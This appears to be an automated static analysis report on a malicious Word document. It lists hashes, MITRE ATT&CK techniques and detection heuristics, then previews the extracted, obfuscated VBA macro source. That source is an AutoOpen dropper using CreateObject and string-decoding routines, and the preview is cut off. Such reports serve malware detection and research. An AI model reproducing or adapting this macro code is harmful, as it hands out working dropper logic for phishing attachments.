Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1fe32e3850e1ddd0…

MALICIOUS

Office (OLE)

78.0 KB Created: 2018-05-30 09:43:00 Authoring application: Microsoft Office Word First seen: 2020-04-06
MD5: 507542d2ebb235941b3fbbb72f11950f SHA-1: ac946090a731b8b29cde3cadec1e3de92eb4834d SHA-256: 1fe32e3850e1ddd03e0415b2989d6f2751e276231d4bcded2c2d43f88057416c
282 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1140 Deobfuscate/Decode Files or Information T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. It uses a "Protected Document Case" lure to prompt the user to enable content, which then executes the AutOOpen macro. This macro, despite being obfuscated with arithmetic operations, is designed to execute further malicious actions, likely downloading and running a second-stage payload.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6565350-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6565350-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8024 bytes
SHA-256: 2e2a4551d8877c7be4ad3806ba2332eb6e5d656a11e7437047a5f8ea67519b95
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutOOpen()
diecasts = 52 - 72
diecasts = 91 - 60 * diecast
ketpleni
diecasts = 70 + 6
diecasts = 3 + 72 - diecasts - 73 - diecast
End Sub

Attribute VB_Name = "priampriam"
Attribute VB_Base = "0{33E6DD8B-A4B8-4342-BDF5-A90257E1E7EA}{107C261F-CEFF-42D7-802B-858DC52562A3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "sergant"
Attribute VB_Base = "0{44E27AAC-99EC-4B36-AE22-00A10D43BA2A}{2B310B7A-AF37-49BE-85DF-2DC511D7F818}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "vogotave"
Attribute VB_Base = "0{BC4FF290-C131-4292-A181-7C2ECDA1DF79}{DEBF66C1-7883-4A40-9DEC-9B2DDED40E26}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub ayaksrameK_Change()
MsgBox "Help message"
End Sub

Private Sub bigdogduke_Change()
MsgBox "Help message"
End Sub

Private Sub bravdath_Change()
MsgBox "Help message"
End Sub

Private Sub darwin111_Change()
MsgBox "Help message"
End Sub

Private Sub skidoodog_Change()
MsgBox "Help message"
End Sub

Private Sub ympmeoha_Change()
Set izasthen = CreateObject(flopsik123)
tholepor = 16 - 52
tholepor = 80 + 52 - 43 * 1
tholepor = 99 * 88 - 1
tholepor = 62 - tholepor * 1 * 6
oodwin1234 izasthen
End Sub

Attribute VB_Name = "wwwpasswd"
Attribute VB_Base = "0{ECCDE1CF-18AE-4932-A451-921565858A75}{19536DFA-58FA-4402-8252-AC4B63D14A38}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub isaacsexy_Change()
sun520520 = dulclivt(hANUMAN2)
oneyahoo = dulclivt(hANUMAN2)
circumci = dulclivt(rengruan)
Headroom = dulclivt(rengruan)
woodyandy = 73 * 7
woodyandy = 67 - 30 * woodyand
woodyandy = 29 * 52 * 9
woodyandy = woodyandy + 3 + 45 - 7
tethkary sun520520, oneyahoo, circumci, Headroom
End Sub

Attribute VB_Name = "avehcnaK"
Sub ketpleni()
Randomize
diecasts = 52 - 72
diecasts = 91 - 60 * diecast
diecasts = 70 + 6
wwwpasswd.isaacsexy = "larisa40"
diecasts = 3 + 72 - diecasts - 73 - diecast
End Sub

Function IIKSLAVIZORP(peacedeu, AYAVEEBICLA)
diecasts = 52 - 72
diecasts = 91 - 60 * diecast
diecasts = 70 + 6
diecasts = 3 + 72 - diecasts - 73 - diecast
IIKSLAVIZORP = carlhobbit(vogotave.bravdath) + peacedeu + carlhobbit(sergant.steveidiot) + _
 AYAVEEBICLA + carlhobbit(vogotave.darwin111 + vogotave.bigdogduke) + AYAVEEBICLA
End Function

Function nikaydaH(shitjacob, macangela)
nikaydaH = elwood737(Int((shitjacob * Rnd()) + macangela))
End Function

Function elwood737(gasmangaby)
diecasts = 52 - 72
diecasts = 91 - 60 * diecast
elwood737 = CInt(gasmangaby)
diecasts = 70 + 6
diecasts = 3 + 72 - diecasts - 73 - diecast
End Function

Function carlhobbit(brigskia)
dileries = ""
diecasts = 52 - 72
diecasts = 91 - 60 * diecast
diecasts = 70 + 6
diecasts = 3 + 72 - diecasts - 73 - diecast
haubhaya = Len(brigskia)
For ANIDREVT = 1 To haubhaya
diecasts = 52 - 72
diecasts = 91 - 60 * diecast
diecasts = 70 + 6
diecasts = 3 + 72 - diecasts - 73 - diecast
dileries = dileries + AVEHCEEGA(chizethe(brigskia, ANIDREVT), 4)
Next ANIDREVT
diecasts = 52 - 72
diecasts = 91 - 60 * diecast
diecasts = 70 + 6
diecasts = 3 + 72 - diecasts - 73 - diecast
carlhobbi
... (truncated)